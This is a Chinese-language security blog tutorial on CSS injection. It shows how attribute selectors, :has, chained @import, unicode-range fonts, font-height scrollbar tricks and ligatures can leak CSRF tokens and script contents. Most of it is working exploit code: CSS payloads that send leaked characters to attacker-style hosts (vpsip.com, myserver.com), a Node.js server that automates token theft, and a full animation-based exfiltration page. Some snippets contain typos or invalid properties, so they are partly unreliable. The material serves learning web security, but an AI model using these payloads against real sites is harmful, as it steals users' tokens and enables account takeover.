探索前端安全Day(五)-CSS-Injection
前言
之前我们看到了用HTML进行dom clobbering攻击,那么这次,我们来利用CSS进行Inject吧!
什么是CSS Injection
css注入其实就和前面的HTML进行dom clobbering一样,就是对css可控的情况下面,利用style标签来进行攻击,不需要用到js和html就可以做到一些事情,并且很多开发者并不会觉得css能进行injection,所以不管在sanitizer还是dompurify,还是什么其他自己写的一些限制,都不会对style进行什么限制,所以还是有危害在的,跟随我的脚步,猛攻!
利用CSS进行leak
两个特性
第一个特性:CSS的属性选择器,可以利用选择器来猜解对应的数据进行leak,比如说input[value^=D]可以筛选开头为D的元素,其中^用来匹配开头$匹配结尾*匹配内容。
第二个特性:CSS本质上会发送Request请求,当我们的background设定了一个url后,CSS就会发送请求。
综合以上这两个特点,我们可以很简单的就知道要如何利用,举个简单的例子
input[value^=D]{
background: url(https://Delete.love?love=D)
}当匹配到D为开头,那么CSS就会像我们的Server发送love=D的请求,那我们就知道了某个我们要leak的值的开头就是D。
好,既然我们知道了如何去得到我们要的值,那么我们现在只需要确定我们需要leak什么值,一般来说我们的攻击都是要扩大范围,如何从点到面,从面到体,那么从打点思路来讲,最好不过的就是一个admin后台,所以我们目标定为,leak admin token
hidden input
大多数页面,我们用户的token都是被写到hidden里面的,那么我们前面的选择器就没办法直接选择到对应的元素,例如
<form action="/action">
<input type="hidden" name="csrf-token" value="DeleteXSS">
<input name="username">
<input type="submit">
</form>这个时候,我们如果用
[input name="csrf-token"][value^=D]{
background:url(http://delete.love?love=D)
}是取不到的,这里我还是实操一下,不然说服性不强
然后打开页面后
可以看到正常写的可以发送请求,但是我们尝试换成hidden
可以看到请求并不会发过来,因为他并不会显示,对应他的background就没必要request,所以会发生这种情况,如何解决?
- 第一种情况:当我们leak的值后面有别的标签在我们可以让后面的标签进行background的request即可
input[name="csrf-token"][value^="D"] + input {
background: url(https://example.com?q=a)
}后面的+input取到的就是下一个元素,

- 第二种情况:那如果我们要leak的值在最后面,没有标签了怎么办?这个时候我们可以看到这里caniuse 我们可以利用has的选择器直接抓取,像这样
我们就可以随便抓到我们要的值了(有人应该发现了换值了因为怕是用到前面的方法请求得到的,嗯!严谨一点)
meta
同上面一样,可以设置为:<meta name="csrf-token" content="abc123">,并且这里也可以利用has去得到token
html:has(meta[name="csrf-token"][content^="a"]) {
background: url(https://example.com?q=a);
}然后另外一个方法是,虽然meta和hidden都是不可见的,但是通过css我们可以控制meta为可见,再利用前面的方法即可。
head, meta {
display: block;
}
meta[name="csrf-token"][content^="a"] {
background: url(https://example.com?q=a);
}这里记得也要把head也一起设置了因为head标签预设display:none

Question
对于以上的一些手法,不少人也许会提出疑问,csrf-token可能会动态更新,我们如何一次性拿到所有的字符串?难道只能一个一个去leak吗,当token很长的时候,是不是需要很长时间?又或者是我们有没有其他可以leak的东西?那么接下来,我们来研究这些东西
一次性拿到你需要的数据
关于这个问题,我们可以看一下这份报告:CSS Injection Attacks
Pepe Vila指出可以利用@import来引入style,具体的思路就是,在你的server端写下类似这样子的css文件
@import url(https://vpsip.com/payload?len=1)
@import url(https://vpsip.com/payload?len=2)
@import url(https://vpsip.com/payload?len=3)
@import url(https://vpsip.com/payload?len=4)
@import url(https://vpsip.com/payload?len=5)
@import url(https://vpsip.com/payload?len=6)
@import url(https://vpsip.com/payload?len=7)
@import url(https://vpsip.com/payload?len=8)然后只需要在攻击的时候import一个
@import url(https://vpsip.com/start?len=8)server端就会一个个去leak对应的值,并且这个样子就不需要重新加载新的东西,所以也不用担心刷新后某个值会变了。 现在举个例子。
<!doctype html>
<body>
<div><article><div><p><div><div><div><div><div>
<input type="text" value="Deletefvv">
<style>
@import url('//vpsip:7777/start?');
</style>脚本
const http = require('http');
const url = require('url');
const port = 5001;
const HOSTNAME = "http://localhost:5001";
const DEBUG = false;
var prefix = "", postfix = "";
var pending = [];
var stop = false, ready = 0, n = 0;
const requestHandler = (request, response) => {
let req = url.parse(request.url, url);
log('\treq: %s', request.url);
if (stop) return response.end();
switch (req.pathname) {
case "/start":
genResponse(response);
break;
case "/leak":
response.end();
if (req.query.pre && prefix !== req.query.pre) {
prefix = req.query.pre;
} else if (req.query.post && postfix !== req.query.post) {
postfix = req.query.post;
} else {
break;
}
if (ready == 2) {
genResponse(pending.shift());
ready = 0;
} else {
ready++;
log('\tleak: waiting others...');
}
break;
case "/next":
if (ready == 2) {
genResponse(respose);
ready = 0;
} else {
pending.push(response);
ready++;
log('\tquery: waiting others...');
}
break;
case "/end":
stop = true;
console.log('[+] END: %s', req.query.token);
default:
response.end();
}
}
const genResponse = (response) => {
console.log('...pre-payoad: ' + prefix);
console.log('...post-payoad: ' + postfix);
let css = '@import url('+ HOSTNAME + '/next?' + Math.random() + ');' +
[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value$="' + e + postfix + '"]{--e'+n+':url(' + HOSTNAME + '/leak?post=' + e + postfix + ')}')).join('') +
'div '.repeat(n) + 'input{background:var(--e'+n+')}' +
[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value^="' + prefix + e + '"]{--s'+n+':url(' + HOSTNAME + '/leak?pre=' + prefix + e +')}')).join('') +
'div '.repeat(n) + 'input{border-image:var(--s'+n+')}' +
'input[value='+ prefix + postfix + ']{list-style:url(' + HOSTNAME + '/end?token=' + prefix + postfix + '&)};';
response.writeHead(200, { 'Content-Type': 'text/css'});
response.write(css);
response.end();
n++;
}
const server = http.createServer(requestHandler)
server.listen(port, (err) => {
if (err) {
return console.log('[-] Error: something bad happened', err);
}
console.log('[+] Server is listening on %d', port);
})
function log() {
if (DEBUG) console.log.apply(console, arguments);
}其实就是不断leak,思路是和上面是一致的
可以看出来leak出来了。
所以只要用@import这个CSS 的功能,就可以做到「不重新载入页面,但可以动态载入新的style」,进而偷取后面的每一个字符。
那么对于leak速度的问题,我们可以取双向爆破的方法,也就是,一个从^开始一个从$开始,从而将效率翻倍,但是这里要记住一个点就是,要用到不同的属性,一个用background,另一个要用border-background,不然会冲突只发出一个request,像这样
input[name="secret"][value^="a"] {
background: url(https://b.myserver.com/leak?q=a)
}
input[name="secret"][value^="b"] {
background: url(https://b.myserver.com/leak?q=b)
}
// ...
input[name="secret"][value$="a"] {
border-background: url(https://b.myserver2.com/suffix?q=a)
}
input[name="secret"][value$="b"] {
border-background: url(https://b.myserver2.com/suffix?q=b)
}leak其他的数据
除了可以拿到标签里面的数据,我们能否取到别的数据?比如script的程序?又或者是页面上的内容。
unicode-range
在CSS 里面,有一个属性叫做「unicode-range」,可以针对不同的字元,载入不同的字体。 举一个例子MDN的例子
<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "Ampersand";
src: local("Times New Roman");
unicode-range: U+26;
}
div {
font-size: 4em;
font-family: Ampersand, Helvetica, sans-serif;
}
</style>
<div>Me & You = Us</div>
</body>
</html>因为设置的unicode-range是U+26,而div标签中U+26表示的是&所以只有&会用特殊字体显示出来。
利用
<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "f1";
src: url(https://myserver.com?q=1);
unicode-range: U+31;
}
@font-face {
font-family: "f2";
src: url(https://myserver.com?q=2);
unicode-range: U+32;
}
@font-face {
font-family: "f3";
src: url(https://myserver.com?q=3);
unicode-range: U+33;
}
@font-face {
font-family: "fa";
src: url(https://myserver.com?q=a);
unicode-range: U+61;
}
@font-face {
font-family: "fb";
src: url(https://myserver.com?q=b);
unicode-range: U+62;
}
@font-face {
font-family: "fc";
src: url(https://myserver.com?q=c);
unicode-range: U+63;
}
div {
font-size: 4em;
font-family: f1, f2, f3, fa, fb, fc;
}
</style>
Secret: <div>ca31a</div>
</body>
</html>
是可以做到的,但是问题就是我们可以看到他是乱序的,所以其实也很难利用起来,所以请看下面
字体高度差异+first-line+scrollbar
首先,我们要知道,不同的字体他的每个字符的高度是不一样的,有一个叫做「Comic Sans MS」的字体,高度就比另一个「Courier New」高。
<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "fa";
src:local('Comic Sans MS');
font-style:monospace;
unicode-range: U+41;
}
div {
font-size: 30px;
height: 40px;
width: 100px;
font-family: fa, "Courier New";
letter-spacing: 0px;
word-break: break-all;
overflow-y: auto;
overflow-x: hidden;
}
</style>
Secret: <div>DBC</div>
<div>ABC</div>
</body>
</html>
这样子应该可以很直观的就能看到,当我们设定了字体高度为30px,Comic Sans MS为45px,文字区块的高度设成40px,发现了没有,在下面这个字符串中出现了scrollbar,那么这个有什么用呢?我们css可以对scrollbar进行设定,可以和之前一样加入一个background:
div::-webkit-scrollbar:vertical {
background: url(https://myserver.com?q=a);
}这么一来,是不是触发了scrollbar的就会发送request到server,从而我们就可以利用了,因此,如果一直重复载入不同字体,那server 就能知道画面上有什么字符,这点跟刚刚我们用unicode-range能做到的事情是一样的。
那么我们如何和之前一样得到顺序的secret呢?我们可以让div的宽度缩小到只能显示一个字符的情况,再搭配::first-line来对第一行的样式进行调整。
<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "fa";
src:local('Comic Sans MS');
font-style:monospace;
unicode-range: U+41;
}
div {
font-size: 0px;
height: 40px;
width: 20px;
font-family: fa, "Courier New";
letter-spacing: 0px;
word-break: break-all;
overflow-y: auto;
overflow-x: hidden;
}
div::first-line{
font-size: 30px;
}
</style>
Secret: <div>CBAD</div>
</body>
</html>
这个时候我们让div只能显示出一个字符,再让first-line变30px,所以就只会出现第一个字符。
然后搭配上面的方法,我们就可以利用高度差发送request到我们的server:
<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "fa";
src:local('Comic Sans MS');
font-style:monospace;
unicode-range: U+43;
}
div {
font-size: 0px;
height: 40px;
width: 20px;
font-family: fa, "Courier New";
letter-spacing: 0px;
word-break: break-all;
overflow-y: auto;
overflow-x: hidden;
--leak: url(http://vps:7777?C=C);
}
div::first-line{
font-size: 30px;
}
div::-webkit-scrollbar {
background: blue;
}
div::-webkit-scrollbar:vertical {
background: var(--leak);
}
</style>
Secret: <div>CBAD</div>
</body>
</html>
可以看到确实可以这样子做,接下来我们只需要调整宽度就行,然后可以用CSS animation 不断载入不同的font-family 以及指定不同的--leak变数。
最后,写了一个完整的exp,大家可以本地跑一下
<!DOCTYPE html>
<html>
<body>
<style>
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
div {
font-size: 0px;
height: 40px;
width: 0px;
font-family: reset;
letter-spacing: 0px;
word-break: break-all;
overflow-y: auto;
overflow-x: hidden;
animation: loop step-end 200s 0s, trychar step-end 2s 0s;
animation-iteration-count: 1, infinite;
}
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::first-line{
font-size: 30px;
}
div::-webkit-scrollbar {
background: blue;
}
div::-webkit-scrollbar:vertical {
background: var(--leak);
}
</style>
Secret: <div>CBAD</div>
</body>
</html>本地跑一下就知道是怎么样的了
ligature+scrollbar
连字(ligature),在某些字型当中,会把一些特定的组合render 成连在一起的样子
这个应该很好理解,就是将两个字母组合在了一起,同样的他可以和前面的方法一样可以完全的把所有字符leak出来。
结合以上的方法,我们甚至可以得到script的内容,只需要在css处加上
head, script {
display: block;
}即可,接下来放出例子
<!DOCTYPE html>
<html lang="en">
<body>
<script>
var secret = "abc123"
</script>
<hr>
<script>
var secret2 = "cba321"
</script>
<svg>
<defs>
<font horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000" />
<glyph unicode='"a' horiz-adv-x="99999" d="M1 0z"/>
</font>
</defs>
</svg>
<style>
script {
display: block;
font-family:"hack";
white-space:n owrap;
overflow-x: auto;
width: 500px;
background:lightblue;
}
script::-webkit-scrollbar {
background: blue;
}
</style>
</body>
</html>当出现"a的连字的时候就会宽度超宽,scrollbar 出现,和前面一样,利用scrollbar进行request即可 but这里我跑不出来了,也许是脚本有问题,但是这个思路的确是可以的
总结
在学习之前我真没想到一个小小的XSS能玩出这么多花样,前辈们真的是太强了,也要多多学习啊!
reference: https://aszx87410.github.io/beyond-xss/ch3/css-injection/ https://aszx87410.github.io/beyond-xss/ch3/css-injection-2/ https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231 https://demo.vwzq.net/css2.html https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/
我们就可以随便抓到我们要的值了(有人应该发现了换值了因为怕是用到前面的方法请求得到的,嗯!严谨一点)